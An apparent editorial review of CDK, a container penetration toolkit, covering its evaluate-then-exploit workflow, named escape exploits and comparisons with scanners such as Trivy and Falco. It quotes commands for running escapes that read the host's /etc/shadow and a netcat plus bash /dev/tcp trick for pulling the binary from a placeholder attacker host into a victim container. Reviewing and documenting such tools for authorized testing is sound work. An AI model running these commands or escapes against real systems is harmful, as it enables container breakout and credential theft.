# cdk-team/CDK: a container penetration toolkit that runs inside the target > CDK is a Go binary you drop into a slimmed container to enumerate its weaknesses and run escape exploits. It is built for authorized penetration testing, and its own README says attacking targets without consent is illegal. **cdk-team/CDK** — 📦 Make security testing of K8s, Docker, and Containerd easier. - Repository: https://github.com/cdk-team/CDK - Website: https://github.com/cdk-team/CDK/wiki - Stars: 4,758 · Forks: 608 - Language: Go - License: Apache-2.0 - Published: 2026-09-23 · Updated: 2026-09-23 · Language: en - Canonical page: https://hysenlabs.com/projects/cdk-team-cdk ## The problem CDK solves: what is actually exploitable from inside a container Most container security tools sit outside the workload. They scan images, read the Kubernetes API, or watch the runtime from the node. CDK starts from the opposite position. It assumes you already have code execution inside a container and need to answer one question quickly: what can this particular container do to the host and to the cluster around it? The README frames this as "stable exploitation in different slimmed containers without any OS dependency". That phrase matters. A distroless or scratch image has no shell, no curl, no wget, and often no package manager, so the usual post-exploitation workflow of downloading a script and running it breaks. CDK is a compiled Go binary that you drop in and execute directly. The repository layout reflects that: cmd/ for the entry point, pkg/ for the modules, conf/ for configuration data, and a single go.mod listing the dependencies. The audience is narrow and specific. This is a tool for red teams doing authorized container escape work, for penetration testers who need to demonstrate that a privileged pod or a mounted docker.sock is a real path to the node, and for defenders who want to reproduce an attack path in a lab. It is not a scanner and not a runtime defence product. ## Evaluate, Exploit, Tool: the three modules and how a run flows CDK splits into three modules, and the README describes them plainly: Evaluate gathers information inside the container to find potential weakness, Exploit covers container escaping, persistence and lateral movement, and Tool provides network utilities and APIs for TCP and HTTP requests, tunnels and K8s cluster management. The intended flow is two commands. You run cdk evaluate first, and the README's example output shows why: it reports CAP_DAC_READ_SEARCH, CAP_SYS_MODULE, a SYS_ADMIN capability marked Critical, and a possible privileged container, each with a suggested exploit name. You then run cdk run with one of those names. The README's cap-dac-read-search example reads /etc/shadow on the host by using /etc/hostname as a reference file, and the pasted output shows host account entries with hashes. The evaluate module's documented checks go beyond capabilities: OS basic info, available Linux commands, mounts, net namespace, sensitive environment variables, sensitive processes, sensitive local files, a check for CVE-2020-8558 via net.ipv4.conf.all.route_localnet, DNS-based service discovery, K8s api-server info, service-account info, and cloud provider metadata APIs. The --full flag enables file scan during information gathering, which the plain evaluate run does not do. That distinction is worth remembering: without --full you get a faster pass that skips file scanning. The Tool module is what makes CDK usable in a container with nothing installed. vi edits files, ps shows processes, ifconfig shows network information, nc creates a TCP tunnel, kcurl talks to the K8s api-server, ectl enumerates etcd keys without authorization, ucurl talks to the Docker unix socket, and probe does TCP port scanning with an ip range, a port list, a parallelism value and a timeout in milliseconds. ## Installing CDK and running a first evaluation There is no package manager install. The README says to download the latest release from the GitHub releases page, drop the executable into the target container, and start testing. After you have the binary, copy it to the target and run the evaluation. The README's quick start uses --full, which adds file scanning to the information gathering pass. ```bash ./cdk eva --full ``` What you should see is a list of findings, each with a suggested exploit name. The README's example shows capability findings such as CAP_DAC_READ_SEARCH with the note that you can read files from the host, and a Critical line for SYS_ADMIN suggesting rewrite-cgroup-devices or mount-cgroup. When you have picked a target, run it by name. ```bash ./cdk run cap-dac-read-search ``` That specific exploit takes a target file and a reference file, as the README's output line "Running with target: /etc/shadow, ref: /etc/hostname" indicates. To see everything available before choosing, list the exploits. ```bash cdk run --list ``` If the container has no curl or wget, the README documents a delivery trick: host the binary with netcat on your own machine, then read it over the bash /dev/tcp pseudo-device inside the victim container. ```bash (on your host) nc -lvp 999 < cdk ``` ```bash cat < /dev/tcp/(your_public_host_ip)/(port) > cdk chmod a+x cdk ``` The placeholder host and port in that second block are the README's own, not values you should copy literally. Note also that both the netcat listener and the /dev/tcp read depend on tools being present on each side; the README does not say what to do if bash itself is missing. ## Where CDK stops being the right tool The README's legal disclaimer is the first boundary: using CDK against targets without prior mutual consent is illegal, and the project states it is for security testing purposes only. That is not boilerplate to skim past. A toolkit whose exploit module includes runc-pwn for CVE-2019-5736 and shim-pwn for CVE-2020-15257 is a weapon, and the project says so. The second boundary is scope. CDK runs inside one container. It cannot tell you that a different workload in the same cluster is misconfigured, and it has no concept of a fleet. If your question is "which of my 400 images contain a vulnerable package", CDK is the wrong category of tool. The evaluate module reads sensitive local files and environment variables, but only in the container it is running in. The third is version drift. Several exploits target specific CVEs in specific runtimes. The README lists runc-pwn and shim-pwn without stating which runtime versions they apply to; that detail lives in the linked wiki pages, which are not part of the README itself. If you run an exploit name against a patched runtime, the README does not describe a clean failure path or a rollback. You should expect a failed escape attempt, and you should verify the target's versions before you spend a test window on it. Finally, the release cadence is uneven. v1.5.4 shipped on 2024-11-15, v1.5.5 on 2025-02-22, and v1.5.6 on 2026-02-23. The last push to the repository was on 2026-05-01. That is a maintained project by any reasonable reading, but the gaps between releases mean new container runtime CVEs are not guaranteed to land quickly. ## CDK compared with a general purpose scanner or a runtime security agent The closest thing to an alternative in the container security space is a scanner such as Trivy, or a runtime agent such as Falco. The difference is not features, it is position. A scanner reads an image or a manifest before or after deployment and reports known vulnerable packages and misconfigurations. It never executes inside the container, so it cannot tell you that CAP_DAC_READ_SEARCH is actually enabled on a running pod, or that a docker.sock is mounted and reachable. CDK's docker-sock-check and docker-sock-pwn exploits exist precisely because a mounted socket is a runtime fact, not an image property. A runtime agent sits on the node and observes syscalls, which is the defensive mirror of what CDK does. It can alert on a process loading a kernel module or writing to a cgroup path. It does not, by design, give an operator a menu of escapes to try. The honest comparison is that CDK and a scanner answer different questions and a mature program needs both. CDK's distinctive contribution is the zero-dependency delivery model and the evaluate-then-exploit workflow in one binary. If you already have a shell and a working toolchain in the container, you may not need CDK at all: the same checks can be done by hand with cat /proc/self/status and mount. CDK's value is highest exactly where that shell does not exist. ## Maintenance, upgrades and the Apache-2.0 licence The repository is not archived and the last push was on 2026-05-01. The most recent release, v1.5.6, is dated 2026-02-23. Upgrading means downloading a new release binary rather than pulling a package, so there is no dependency graph to reconcile and no version pinning file to update. The cost of an upgrade is operational, not technical: you have to re-deliver the binary into each environment you test in, and you have to re-read the wiki for any exploit whose name or arguments changed. The README does not document a changelog inside the repository, so the release notes are the place to check. CDK is licensed under Apache-2.0. That is a permissive licence with an explicit patent grant and a requirement to preserve notices. It does not restrict commercial use. What it does not do is remove the legal exposure described in the README's disclaimer: the licence governs the code, not your authorization to run it against a system. If you redistribute a modified CDK, Apache-2.0 requires you to state the changes and keep the licence and notice files. None of this is legal advice; if you plan to ship CDK inside a product, talk to someone qualified. ## Conclusion CDK suits red teams and container security engineers who already have a foothold in a container and need to enumerate it and try known escapes, because it is a single Go binary with no runtime dependencies. It is the wrong tool for image scanning, admission control or continuous cluster monitoring: it does not scan images or watch a cluster, it executes inside one container. Verify first that the exploit names in cdk run --list match the kernel and runtime versions of your lab, and that the Apache-2.0 licence terms fit how you intend to distribute the binary. ## FAQ ### What does CDK stand for? The README expands it as CDK, a container penetration toolkit, and the repository description calls it a way to make security testing of K8s, Docker and Containerd easier. It is unrelated to the AWS Cloud Development Kit despite the shared abbreviation. ### What is CDK and how does it work? CDK is a Go binary you drop into a container. You run cdk evaluate to gather information about capabilities, mounts, environment variables and K8s details, then cdk run with a suggested exploit name to attempt an escape. ### Is CDK better than Terraform? They are unrelated tools. Terraform is infrastructure provisioning; CDK is a container penetration toolkit that runs inside a target container. The repository does not compare itself to Terraform. ### Who owns CDK? The repository is hosted under the cdk-team GitHub organization and licensed under Apache-2.0. The README does not name a company or individual owner. ## Sources - [cdk-team/CDK on GitHub](https://github.com/cdk-team/CDK) - [License: Apache-2.0](https://github.com/cdk-team/CDK/blob/main/LICENSE) - [Project website](https://github.com/cdk-team/CDK/wiki) - [README](https://github.com/cdk-team/CDK/blob/main/README.md) - [Releases](https://github.com/cdk-team/CDK/releases) --- Hysen Labs editorial analysis, written from the project's own repository and release notes. Cite the canonical page: https://hysenlabs.com/projects/cdk-team-cdk